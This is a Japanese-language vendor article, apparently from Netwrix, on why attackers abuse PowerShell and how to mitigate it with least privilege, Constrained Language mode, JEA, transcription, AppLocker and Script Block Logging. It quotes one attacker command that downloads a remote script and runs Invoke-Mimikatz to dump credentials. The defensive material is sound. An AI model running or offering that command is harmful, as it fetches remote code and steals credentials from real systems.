なぜ攻撃者は PowerShell をこれほどまでに好むのでしょうか？

なぜ PowerShell はこれほど人気のある攻撃プラットフォームなのでしょうか？

それでは、なぜ多くのサイバー犯罪者が自らの攻撃に PowerShell を使うのでしょうか？ まず一つには、それが無料だからです。ほかの理由としては、次のようなものがあります：

• 多くのビジネスユーザーは、Windows のエンドポイント端末で PowerShell を有効にしています。
• PowerShell は、コマンドやスクリプトをメモリ上で直接実行するファイルレス方式を採用しており、検知が難しくなります。
• リモート接続を開始することで、ほぼあらゆる Windows デバイスにアクセスできます。
• 脅威アクターは、 Empire、 DeathStar および CrackMapExec のような他の悪意あるツールを使って PowerShell を活用できます。
• GitHub やその他の場所には、攻撃者が使用できる多数のスクリプトがあります（例：Invoke-Mimikatz）。

オンプレミス環境で攻撃者が初期アクセスを獲得すると、PowerShell を使ってネットワークの可視性を高め、横方向に移動して最も機密性の高いデータやその他の IT リソースにアクセスできるようになります。

PowerShell によるリスクを低減する方法

PowerShell はさまざまな種類の攻撃で使用されるため、その悪用に対抗するための防御策を必ず導入する必要があります。PowerShell に起因する脅威のリスクを低減する方法をいくつか見ていきましょう。

ローカル管理者権限を制限する

Zero Trust ネットワークの時代では、標準ユーザーが自分のデバイスにローカル管理者権限を持つべきではありません（それが業務上必要な場合を除く）。ローカル管理者権限を拒否しても PowerShell へのアクセス自体は制限されませんが、多くの PowerShell コマンドやスクリプトは動作に昇格した権限を必要とするため、ユーザー（またはそのアカウントを侵害した攻撃者）が PowerShell で実行できることは制限されます。さらに、ローカル管理者権限を拒否することで、ユーザーの機密フォルダーやシステム設定へのアクセスも制限されます。

制限付き言語モードを使用する

Windows PowerShell では、PowerShell のどの部分を使用できるかを決めるさまざまな言語モードがサポートされています。Constrained Language モードは Windows RT オペレーティング システム向けに開発され、その後、現在すべての最新の Windows オペレーティング システムで使用されている Windows PowerShell V5 に追加されました。

以下のように、PowerShell セッションを Full Language モードで開始できます。

次のコマンドで PowerShell セッションを Constrained Language モードに設定できます。

Constrained Language モードでは、PowerShell は限られた種類のコマンドとスクリプトに制限されます。これらの制限の外でのコマンド実行は、以下の例のようにブロックされます。

Constrained Language モードでは、PowerShell プロファイルの使用や、追加の PowerShell モジュールを読み込む機能など、特定の PowerShell 機能へのアクセスも制限されます。これらの制限をまとめることで、ハッカーが PowerShell を使ってシステムのセキュリティ対策を回避することを防ぐのに役立ちます。

残念ながら、この保護手段には大きな弱点が 1 つあります。ユーザーは単に新しい PowerShell セッションを開始するだけで済みます。そのセッションはデフォルトで Full Language モードとして実行され、PowerShell 機能への完全なアクセス権を持ってしまいます。

PowerShell Just Enough Administration (JEA) を使用する

PowerShell Just Enough Administration（JEA）では、管理タスクに対してロールベースの仕組みを強制できます。JEA は PowerShell における principle of least privilege（最小権限）の考え方だと捉えてください。ユーザーが JEA セッションを開始すると、そのユーザーに対して、ロールに関連付けられたタスクとコマンドのみを実行できる制限付きの PowerShell が割り当てられます。これにより、必要のない特権コマンドを実行できなくなります。

JEA の有効化は複数ステップのプロセスです。最初のステップは、以下のようにロール互換性（role compatibility）ファイルを作成することです。

次に、.prsc ファイルを編集し、たとえばユーザーが特定のコマンドを実行できるようにするなど、ロールの具体的な権限（capabilities）を定義する必要があります。ほかの手順として、セッション構成ファイルを作成し、そのファイルを使ってローカル コンピューターに新しい JEA エンドポイントを登録します。

アクティビティの可視性を高める

IT 環境で何が起きているのかを把握する必要があります。選択肢の 1 つは、Windows イベント転送（Windows event forwarding，WEF）を使うことです。WEF は Windows オペレーティング システムに含まれる無料ツールで、分散システムからイベント ログを収集して一元化できます。別の方法としては、サードパーティ製のセキュリティ情報・イベント管理（security information and event management，SIEM）ソリューションを利用することもできます。SIEM は、さまざまな異種システムからデータを収集し、それらを集約して、環境全体で何が起きているかを包括的に把握するための洞察を提供します。

また、PowerShell のシステム全体トランスクリプト（transcripts）も有効にする必要があります。これにより、指定したシステム上で PowerShell のすべてのアクティビティが記録され、実行されたコマンドを後で確認できるようになります。これは監査やフォレンジック調査に役立つ場合があります。PowerShell のシステム全体トランスクリプトを有効にするには Group Policy object（GPO）を作成し、Computer Configuration > Administrative Templates > Windows Components > PowerShell に移動して Enable PowerShell Transcription を下の例のようにオンにします:

AppLocker を使用して PowerShell とスクリプトを無効化する

AppLocker は Windows 10 Enterprise に付属しており、アプリケーションやスクリプトを許可リスト（allowlist）に追加するための便利な方法を提供します。設定は、システム上でローカルに行うことも、Group Policy を通じて行うこともできます。Group Policy を使用するには、GPO を作成し、Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker に移動します。実行可能ルール（executable rule）を作成し、Deny 以下のように選択します:

発行元（publisher）、ファイル パス、またはファイル ハッシュ（file hash）によってアプリケーションをブロックできます。以下の例のポリシーではファイル ハッシュでブロックし、ローカル管理者だけが PowerShell を実行できるようにしています。その他のユーザーによるアクセスはすべてブロックされます。

次に、グループ ポリシー（Group Policy）を使ってポリシーを配布することも、XML ファイルとしてエクスポートして、Intune などの MDM にインポートすることもできます。エクスポートされたポリシーの XML コードは以下のとおりです：

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Script Rules ポリシーを使って、指定フォルダーに対する許可ルールを作成し、以下のようなシンプルな PowerShell スクリプトで、そのフォルダー内のファイルのみを実行できるようにもできます：

Script Block Logging で悪意のある PowerShell を検出

PowerShell 5 では、悪意のある PowerShell スクリプトを追跡するための新しい技術がいくつか導入されています。その1つが Script Block Logging です。このレベルのログは PowerShell 5 でデフォルトで有効になっており、PowerShell によって実行された完全なスクリプトを平文（clear-text）で記録します。多くの PowerShell 攻撃は解読が難しいエンコードされたスクリプトを悪用しているため、これは役立ちます。

攻撃者がスクリプトを隠そうとする方法の1つとして、次のようなスクリプトで Invoke-Mimikatz：

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

PowerSploit と Out-EncodedCommand を使用すると、攻撃者はこのコマンドのさらに難読化された（混乱させた）エンコード版を作成できます：

それでも、PowerShell のイベントログには、エンコードなしで、実際に実行された内容がそのまま表示されます：

Netwrix はどのように支援できるか

組織は、これらの緩和（mitigation）および検知（detection）戦略を活用して、悪意のあるスクリプトを監視し防御できますが、作業を簡単にしてくれるサードパーティ製品もあります。 Netwrix Endpoint Privilege Manager により、許可リスト（allow）と拒否リスト（deny）を簡単に作成でき、ユーザーが望まないアプリケーション（PowerShell を含む）を実行しようとしても自動的にブロックできます。さらに、このツールを使えば、ローカル管理者権限を削除しつつも、高い生産性に必要な管理タスクをユーザーが引き続き実行できるようになります。

PowerShell は強力なツールです。攻撃者がそれを簡単にあなたに対して悪用できないよう、適切な予防措置を講じてください。